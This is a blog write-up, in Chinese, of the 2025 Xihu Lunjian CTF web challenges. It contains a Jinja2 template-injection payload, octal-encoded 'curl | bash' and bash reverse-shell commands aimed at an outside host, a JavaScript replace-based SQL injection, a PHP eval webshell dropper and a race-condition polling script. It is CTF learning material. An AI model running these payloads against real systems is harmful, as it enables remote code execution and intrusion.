2025西湖论剑 复现wp

2025西湖论剑wp+复现

img

唉,任重道远,还是菜

Web

web1

  • 注意到Server: Werkzeug/3.1.3 Python/3.9.0

payload

1
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "八进制")').read()}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def text_to_octal(text):
# 将每个字符转换为其 ASCII 值,然后转换为八进制
octal_values = [oct(ord(char)) for char in text]
# 去掉八进制前缀 '0o',并用反斜杠连接
octal_string = "".join([f"\\{value[2:]}" for value in octal_values])
return octal_string

# 输入明文
while True:
plaintext = input("请输入明文: ")

# 转换为八进制
octal_result = text_to_octal(plaintext)

# 输出结果
print("明文:", plaintext)
print("八进制编码:", octal_result)

image-20250126010003649

1
2
3
请输入明文: curl http://8.138.152.157/1.txt | bash
明文: curl http://8.138.152.157/1.txt | bash
八进制编码: \143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\63\70\56\61\65\62\56\61\65\67\57\61\56\164\170\164\40\174\40\142\141\163\150
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from fenjing import exec_cmd_payload
import functools
import time
import logging

logging.basicConfig(level=logging.WARNING)


def waf(s: str):
blacklist = ['eval', 'exec', 'os', 'system', 'import', '__import__', 'flag', '?', '*', '-', 'less', 'nl', 'tac', 'more', 'tail', 'od', 'grep', 'awd', 'sed', '64', '/', '%2f', '%2F']
for word in blacklist:
if word in s:
return False
return True


payload, _ = exec_cmd_payload(waf, "curl vps:3333")
payload, _ = exec_cmd_payload(waf, "bash -c 'bash -i >& /dev/tcp/vps/3333 0>&1'")

print(payload)

image-20250126123522637

sqli or not

希望自己以后多查阅语言文档

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace

在Node.js中,处理HTTP请求时,如果传入的参数是数组形式(如a=123&a=456&a=789),服务器通常会将其解析为一个数组 a = [123, 456, 789]。如果传入的参数是JSON格式的字符串,服务器可能会将其解析为字符串数组,然后通过 JSON.parse() 将其转换为对象。

你提到的场景涉及到SQL注入的绕过技术,特别是通过 replace 函数的特性来构造恶意输入。以下是对你提供的payload的分析和解释:

  1. 参数传递与解析

假设服务器端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: true }));

app.post('/login', (req, res) => {
const info = req.body.info;
const parsedInfo = JSON.parse(info);
const username = parsedInfo.username;
const password = parsedInfo.password;

// 模拟SQL查询
const sql = `SELECT * FROM userinfo WHERE username = '${username}' AND password = '${password}'`;
console.log(sql);

res.send('Login attempt processed');
});

app.listen(3000, () => {
console.log('Server is running on port 3000');
});
  1. Payload 构造

你提供的payload是:

1
?info={"username":"$` ||\1%23"&info="password":"123456"}

这个payload的目的是通过 replace 函数的特性来构造SQL注入。

  • $`` 是 replace` 函数中的一个特殊字符,表示匹配到的字符串之前的文本。
  • ||\1%23 是SQL注入的一部分,|| 是SQL中的逻辑或操作符,\1 是一个占位符,%23# 的URL编码,表示SQL注释。
  1. 服务器端解析过程

当服务器接收到这个payload时,req.body.info 会被解析为:

1
2
3
4
{
"username": "$` ||\\1%23",
"password": "123456"
}

然后,服务器会执行 JSON.parse,将其转换为对象:

1
2
const parsedInfo = JSON.parse(info);
// parsedInfo = { username: "$` ||\\1%23", password: "123456" }

接下来,服务器会构造SQL查询:

1
const sql = `SELECT * FROM userinfo WHERE username = '${parsedInfo.username}' AND password = '${parsedInfo.password}'`;

由于 parsedInfo.username 包含 $replace 函数会将其替换为匹配到的字符串之前的文本,最终构造的SQL查询可能如下:

1
SELECT * FROM userinfo WHERE username = 'SELECT * FROM userinfo WHERE username = ' ||1#' AND password = '123456'
  1. SQL注入效果

这个SQL查询中的 ||1# 使得条件永远为真,从而绕过了密码验证,实现了“万能密码”的效果。

fix:

  • 使用参数化查询:避免直接拼接用户输入到SQL查询中。
1
2
3
4
5
const sql = 'SELECT * FROM userinfo WHERE username = ? AND password = ?';
db.query(sql, [parsedInfo.username, parsedInfo.password], (err, results) => {
if (err) throw err;
// 处理查询结果
});

Rank-U

这题不会,真的没想到要爆破啊啊啊啊

没有环境,参考别人wp记录下

admin/year2000

  • 条件竞争,uploads-labs的Pass18,如果我没记错的话。

图片

1
<?php fputs(fopen('2.php','w'),'<?php @eval($_REQUEST[a]);?>');?>
  • 官方wp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import hashlib
import time

# 设置目标网页的URL。需要修改IP地址与上传文件保存位置的文件夹名
url = 'http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/'
prefix_string = '192.168.16.43' # 这个ip为选手访问靶机的出口ip

# 使用一个while循环来保持请求,直到返回200响应
while True:
# 使用生成的MD5值作为文件名
def md5_encrypt(string):
md5_obj = hashlib.md5()
md5_obj.update(string.encode('utf-8'))
return md5_obj.hexdigest()

# 获取当前时间戳并提取证书部分(只保留时间,去掉日期部分)
timestamp = int(time.time())

# 拼接指定字符串和时间戳
raw_string = prefix_string + str(timestamp)

# 对拼接后的字符串进行MD5加密
md5_filename = md5_encrypt(raw_string)

# 发起GET请求
response = requests.get(url + md5_filename + '.php')

# 检查响应的状态码
if response.status_code == 200:
print(f'请求成功,访问的URL为: {response.url}')
break # 停止请求
elif response.status_code == 404:
print(f'{response.url}: 页面未找到 (404),继续请求...')
else:
print(f'{response.url}: 请求失败,状态码: {response.status_code}')
break # 如果状态码不是404或200,终止请求

Reference

[1]https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA


2025西湖论剑 复现wp
https://xu17.top/2025/01/24/2025西湖论剑wp+复现/
作者
XU17
发布于
2025年1月24日
许可协议
XU17